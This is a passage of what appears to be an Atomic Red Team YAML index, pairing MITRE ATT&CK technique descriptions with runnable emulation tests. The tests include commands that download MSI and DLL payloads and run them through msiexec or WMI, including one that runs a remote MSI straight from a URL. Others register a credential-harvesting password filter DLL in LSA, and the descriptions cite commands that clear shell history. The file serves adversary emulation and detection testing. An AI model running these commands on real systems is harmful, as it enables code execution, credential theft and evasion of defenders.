/T /C /Q cleanup_command: 'icacls ''#{path}'' /restore #{file_path} /q >nul 2>&1 ' name: command_prompt elevation_required: true T1574.014: technique: modified: '2024-04-18T15:03:32.158Z' name: AppDomainManager description: "Adversaries may execute their own malicious payloads by hijacking how the .NET `AppDomainManager` loads assemblies. The .NET framework uses the `AppDomainManager` class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run as .NET code) may be loaded into an application domain as executable code.(Citation: Microsoft App Domains) \n\nKnown as \"AppDomainManager injection,\" adversaries may execute arbitrary code by hijacking how .NET applications load assemblies. For example, malware may create a custom application domain inside a target process to load and execute an arbitrary assembly. Alternatively, configuration files (`.config`) or process environment variables that define .NET runtime settings may be tampered with to instruct otherwise benign .NET applications to load a malicious assembly (identified by name) into the target process.(Citation: PenTestLabs AppDomainManagerInject)(Citation: PwC Yellow Liderc)(Citation: Rapid7 AppDomain Manager Injection)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Thomas B - Ivy Bostock x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Module: Module Load' - 'File: File Creation' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--356662f7-e315-4759-86c9-6214e2a50ff8 created: '2024-03-28T15:36:34.141Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/014 external_id: T1574.014 - source_name: PenTestLabs AppDomainManagerInject description: Administrator. (2020, May 26). APPDOMAINMANAGER INJECTION AND DETECTION. Retrieved March 28, 2024. url: https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/ - source_name: Microsoft App Domains description: Microsoft. (2021, September 15). Application domains. Retrieved March 28, 2024. url: https://learn.microsoft.com/dotnet/framework/app-domains/application-domains - source_name: PwC Yellow Liderc description: PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved March 29, 2024. url: https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html - source_name: Rapid7 AppDomain Manager Injection description: 'Spagnola, N. (2023, May 5). AppDomain Manager Injection: New Techniques For Red Teams. Retrieved March 29, 2024.' url: https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1218.007: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Ziv Kaspersky, Cymptom - Alexandros Pappas object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336 created: '2020-01-24T14:38:49.266Z' x_mitre_version: '2.0' external_references: - source_name: mitre-attack external_id: T1218.007 url: https://attack.mitre.org/techniques/T1218/007 - source_name: TrendMicro Msiexec Feb 2018 url: https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/ description: Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019. - source_name: LOLBAS Msiexec url: https://lolbas-project.github.io/lolbas/Binaries/Msiexec/ description: LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019. - source_name: Microsoft msiexec url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec description: Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020. - source_name: Microsoft AlwaysInstallElevated 2018 url: https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated description: Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020. x_mitre_deprecated: false revoked: false description: |- Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft. Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018) modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Signed Binary Proxy Execution: Msiexec' x_mitre_detection: Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Module: Module Load' - 'Network Traffic: Network Connection Creation' - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_defense_bypassed: - Digital Certificate Validation - Application control x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1218.007 atomic_tests: - name: Msiexec.exe - Execute Local MSI file with embedded JScript auto_generated_guid: a059b6c4-e7d6-4b2e-bcd7-9b2b33191a04 description: 'Executes an MSI containing embedded JScript code using msiexec.exe ' supported_platforms: - windows input_arguments: msi_payload: description: MSI file to execute type: path default: PathToAtomicsFolder\T1218.007\bin\T1218.007_JScript.msi msi_exe: description: MSIExec File Path type: path default: c:\windows\system32\msiexec.exe action: description: 'Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. ' type: string default: i dependency_executor_name: powershell dependencies: - description: 'The MSI file must exist on disk at specified location (#{msi_payload}) ' prereq_command: 'if (Test-Path "#{msi_payload}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi" -OutFile "#{msi_payload}" executor: command: '#{msi_exe} /q /#{action} "#{msi_payload}" ' name: command_prompt - name: Msiexec.exe - Execute Local MSI file with embedded VBScript auto_generated_guid: 8d73c7b0-c2b1-4ac1-881a-4aa644f76064 description: 'Executes an MSI containing embedded VBScript code using msiexec.exe ' supported_platforms: - windows input_arguments: msi_payload: description: MSI file to execute type: path default: PathToAtomicsFolder\T1218.007\bin\T1218.007_VBScript.msi msi_exe: description: MSIExec File Path type: path default: c:\windows\system32\msiexec.exe action: description: 'Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. ' type: string default: i dependency_executor_name: powershell dependencies: - description: 'The MSI file must exist on disk at specified location (#{msi_payload}) ' prereq_command: 'if (Test-Path "#{msi_payload}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi" -OutFile "#{msi_payload}" executor: command: '#{msi_exe} /q /#{action} "#{msi_payload}" ' name: command_prompt - name: Msiexec.exe - Execute Local MSI file with an embedded DLL auto_generated_guid: 628fa796-76c5-44c3-93aa-b9d8214fd568 description: 'Executes an MSI containing an embedded DLL using msiexec.exe ' supported_platforms: - windows input_arguments: msi_payload: description: MSI file to execute type: path default: PathToAtomicsFolder\T1218.007\bin\T1218.007_DLL.msi msi_exe: description: MSIExec File Path type: path default: c:\windows\system32\msiexec.exe action: description: 'Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. ' type: string default: i dependency_executor_name: powershell dependencies: - description: 'The MSI file must exist on disk at specified location (#{msi_payload}) ' prereq_command: 'if (Test-Path "#{msi_payload}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi" -OutFile "#{msi_payload}" executor: command: '#{msi_exe} /q /#{action} "#{msi_payload}" ' name: command_prompt - name: Msiexec.exe - Execute Local MSI file with an embedded EXE auto_generated_guid: ed3fa08a-ca18-4009-973e-03d13014d0e8 description: 'Executes an MSI containing an embedded EXE using msiexec.exe ' supported_platforms: - windows input_arguments: msi_payload: description: MSI file to execute type: path default: PathToAtomicsFolder\T1218.007\bin\T1218.007_EXE.msi msi_exe: description: MSIExec File Path type: path default: c:\windows\system32\msiexec.exe action: description: 'Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. ' type: string default: i dependency_executor_name: powershell dependencies: - description: 'The MSI file must exist on disk at specified location (#{msi_payload}) ' prereq_command: 'if (Test-Path "#{msi_payload}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi" -OutFile "#{msi_payload}" executor: command: '#{msi_exe} /q /#{action} "#{msi_payload}" ' name: command_prompt - name: WMI Win32_Product Class - Execute Local MSI file with embedded JScript auto_generated_guid: 882082f0-27c6-4eec-a43c-9aa80bccdb30 description: 'Executes an MSI containing embedded JScript code using the WMI Win32_Product class ' supported_platforms: - windows input_arguments: msi_payload: description: MSI file to execute type: path default: PathToAtomicsFolder\T1218.007\bin\T1218.007_JScript.msi action: description: 'Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types. ' type: string default: Install dependency_executor_name: powershell dependencies: - description: 'The MSI file must exist on disk at specified location (#{msi_payload}) ' prereq_command: 'if (Test-Path "#{msi_payload}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi" -OutFile "#{msi_payload}" executor: command: 'Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = ''#{msi_payload}'' } ' name: powershell - name: WMI Win32_Product Class - Execute Local MSI file with embedded VBScript auto_generated_guid: cf470d9a-58e7-43e5-b0d2-805dffc05576 description: 'Executes an MSI containing embedded VBScript code using the WMI Win32_Product class ' supported_platforms: - windows input_arguments: msi_payload: description: MSI file to execute type: path default: PathToAtomicsFolder\T1218.007\bin\T1218.007_VBScript.msi action: description: 'Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types. ' type: string default: Install dependency_executor_name: powershell dependencies: - description: 'The MSI file must exist on disk at specified location (#{msi_payload}) ' prereq_command: 'if (Test-Path "#{msi_payload}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi" -OutFile "#{msi_payload}" executor: command: 'Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = ''#{msi_payload}'' } ' name: powershell - name: WMI Win32_Product Class - Execute Local MSI file with an embedded DLL auto_generated_guid: 32eb3861-30da-4993-897a-42737152f5f8 description: 'Executes an MSI containing an embedded DLL using the WMI Win32_Product class ' supported_platforms: - windows input_arguments: msi_payload: description: MSI file to execute type: path default: PathToAtomicsFolder\T1218.007\bin\T1218.007_DLL.msi action: description: 'Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types. ' type: string default: Install dependency_executor_name: powershell dependencies: - description: 'The MSI file must exist on disk at specified location (#{msi_payload}) ' prereq_command: 'if (Test-Path "#{msi_payload}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi" -OutFile "#{msi_payload}" executor: command: 'Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = ''#{msi_payload}'' } ' name: powershell - name: WMI Win32_Product Class - Execute Local MSI file with an embedded EXE auto_generated_guid: 55080eb0-49ae-4f55-a440-4167b7974f79 description: 'Executes an MSI containing an embedded EXE using the WMI Win32_Product class ' supported_platforms: - windows input_arguments: msi_payload: description: MSI file to execute type: path default: PathToAtomicsFolder\T1218.007\bin\T1218.007_EXE.msi action: description: 'Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types. ' type: string default: Install dependency_executor_name: powershell dependencies: - description: 'The MSI file must exist on disk at specified location (#{msi_payload}) ' prereq_command: 'if (Test-Path "#{msi_payload}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi" -OutFile "#{msi_payload}" executor: command: 'Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = ''#{msi_payload}'' } ' name: powershell - name: Msiexec.exe - Execute the DllRegisterServer function of a DLL auto_generated_guid: 0106ffa5-fab6-4c7d-82e3-e6b8867d5e5d description: 'Loads a DLL into msiexec.exe and calls its DllRegisterServer function. Note: the DLL included in the "bin" folder is only built for 64-bit, so this won''t work on a 32-bit OS. ' supported_platforms: - windows input_arguments: dll_payload: description: DLL to execute that has an implemented DllRegisterServer function type: path default: PathToAtomicsFolder\T1218.007\bin\MSIRunner.dll msi_exe: description: MSIExec File Path type: path default: c:\windows\system32\msiexec.exe dependency_executor_name: powershell dependencies: - description: 'The DLL must exist on disk at specified location (#{dll_payload}) ' prereq_command: 'if (Test-Path "#{dll_payload}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile "#{dll_payload}" executor: command: '#{msi_exe} /y "#{dll_payload}" ' name: command_prompt - name: Msiexec.exe - Execute the DllUnregisterServer function of a DLL auto_generated_guid: ab09ec85-4955-4f9c-b8e0-6851baf4d47f description: 'Loads a DLL into msiexec.exe and calls its DllUnregisterServer function. Note: the DLL included in the "bin" folder is only built for 64-bit, so this won''t work on a 32-bit OS. ' supported_platforms: - windows input_arguments: dll_payload: description: DLL to execute that has an implemented DllUnregisterServer function type: path default: PathToAtomicsFolder\T1218.007\bin\MSIRunner.dll msi_exe: description: MSIExec File Path type: path default: c:\windows\system32\msiexec.exe dependency_executor_name: powershell dependencies: - description: 'The DLL must exist on disk at specified location (#{dll_payload}) ' prereq_command: 'if (Test-Path "#{dll_payload}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile "#{dll_payload}" executor: command: '#{msi_exe} /z "#{dll_payload}" ' name: command_prompt - name: Msiexec.exe - Execute Remote MSI file auto_generated_guid: 44a4bedf-ffe3-452e-bee4-6925ab125662 description: 'Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI executes a built-in JScript payload that launches powershell.exe. ' supported_platforms: - windows input_arguments: msi_payload: description: MSI file to execute type: string default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi msi_exe: description: MSIExec File Path type: path default: c:\windows\system32\msiexec.exe executor: command: '#{msi_exe} /q /i "#{msi_payload}" ' name: command_prompt T1556.002: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Vincent Le Toux object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42 type: attack-pattern created: '2020-02-11T19:05:45.829Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1556.002 url: https://attack.mitre.org/techniques/T1556/002 - url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html description: Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017. source_name: Carnal Ownage Password Filters Sept 2013 - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/ description: Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017. source_name: Clymb3r Function Hook Passwords Sept 2013 modified: '2022-04-25T14:00:00.188Z' name: 'Modify Authentication Process: Password Filter DLL' description: "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference. Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013) x_mitre_is_subtechnique: true x_mitre_version: '2.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'File: File Creation' - 'Module: Module Load' x_mitre_permissions_required: - Administrator - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1556.002 atomic_tests: - name: Install and Register Password Filter DLL auto_generated_guid: a7961770-beb5-4134-9674-83d7e1fa865c description: "Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource is in src folder. \nThis does require a reboot to see the filter loaded into lsass.exe. \nIt does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.\n" supported_platforms: - windows input_arguments: dll_path: description: Path to DLL to be installed and registered type: path default: PathToAtomicsFolder\T1556.002\bin dll_name: description: Name of the Password Filter type: string default: AtomicRedTeamPWFilter.dll dependency_executor_name: powershell dependencies: - description: 'AtomicRedTeamPWFilter.dll must exist on disk at specified location (#{dll_path}\#{dll_name}) ' prereq_command: 'if (Test-Path "#{dll_path}\#{dll_name}") {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest "https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll" -OutFile "#{dll_path}\#{dll_name}" executor: command: | reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "PathToAtomicsFolder\T1556.002\lsa_backup.reg" $passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" $notificationPackagesValues = $lsaKey.GetValue("Notification Packages") $notificationPackagesValues += $passwordFilterName Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues cleanup_command: | reg.exe import "PathToAtomicsFolder\T1556.002\lsa_backup.reg" remove-item C:\Windows\System32\#{dll_name} name: powershell elevation_required: true - name: Install Additional Authentication Packages auto_generated_guid: 91580da6-bc6e-431b-8b88-ac77180005f2 description: "lsass.exe loads all DLLs specified by the Authentication Packages REG_MULTI_SZ value.\nUses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource is in src folder. \nThis does require a reboot to see the filter loaded into lsass.exe. \nIt does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.\n" supported_platforms: - windows input_arguments: dll_path: description: Path to DLL to be installed and registered as additional authentication package type: path default: PathToAtomicsFolder\T1556.002\bin dll_name: description: Name of the Password Filter type: string default: AtomicRedTeamPWFilter.dll dependency_executor_name: powershell dependencies: - description: 'AtomicRedTeamPWFilter.dll must exist on disk at specified location (#{dll_path}\#{dll_name}) ' prereq_command: 'if (Test-Path "#{dll_path}\#{dll_name}") {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest "https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll" -OutFile "#{dll_path}\#{dll_name}" executor: command: | reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "PathToAtomicsFolder\T1556.002\lsa_backup.reg" $passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" $AuthenticationPackagesValues = $lsaKey.GetValue("Authentication Packages") $AuthenticationPackagesValues += $passwordFilterName Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Authentication Packages" $AuthenticationPackagesValues cleanup_command: | reg.exe import "PathToAtomicsFolder\T1556.002\lsa_backup.reg" remove-item C:\Windows\System32\#{dll_name} name: powershell elevation_required: true T1070.007: technique: modified: '2023-09-08T18:05:28.311Z' name: Clear Network Connection History and Configurations description: |- Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries. Network connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal): * HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default * HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers Windows may also store information about recent RDP connections in files such as C:\Users\\%username%\Documents\Default.rdp and `C:\Users\%username%\AppData\Local\Microsoft\Terminal Server Client\Cache\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) Malicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - CrowdStrike Falcon OverWatch x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Command: Command Execution' - 'Firewall: Firewall Rule Modification' - 'File: File Modification' type: attack-pattern id: attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc created: '2022-06-15T18:00:04.219Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1070/007 external_id: T1070.007 - source_name: FreeDesktop Journal description: freedesktop.org. (n.d.). systemd-journald.service. Retrieved June 15, 2022. url: https://www.freedesktop.org/software/systemd/man/systemd-journald.service.html - source_name: Microsoft RDP Removal description: Microsoft. (2021, September 24). How to remove entries from the Remote Desktop Connection Computer box. Retrieved June 15, 2022. url: https://docs.microsoft.com/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer - source_name: Moran RDPieces description: Moran, B. (2020, November 18). Putting Together the RDPieces. Retrieved October 17, 2022. url: https://www.osdfcon.org/presentations/2020/Brian-Moran_Putting-Together-the-RDPieces.pdf - source_name: Apple Culprit Access description: rjben. (2012, May 30). How do you find the culprit when unauthorized access to a computer is a problem?. Retrieved August 3, 2022. url: https://discussions.apple.com/thread/3991574 - source_name: Apple Unified Log Analysis Remote Login and Screen Sharing description: 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.' url: https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1600.001: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8 type: attack-pattern created: '2020-10-19T19:03:48.310Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1600.001 url: https://attack.mitre.org/techniques/T1600/001 - source_name: Cisco Synful Knock Evolution url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. - source_name: Cisco Blog Legacy Device Attacks url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. modified: '2021-04-29T14:49:39.188Z' name: Reduce Key Space description: |- Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution) Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key. Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1070.003: technique: modified: '2024-02-14T20:07:44.756Z' name: 'Indicator Removal on Host: Clear Command History' description: "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history. \ \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (clear logging and/or clear history).(Citation: US-CERT-TA18-106A)\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in 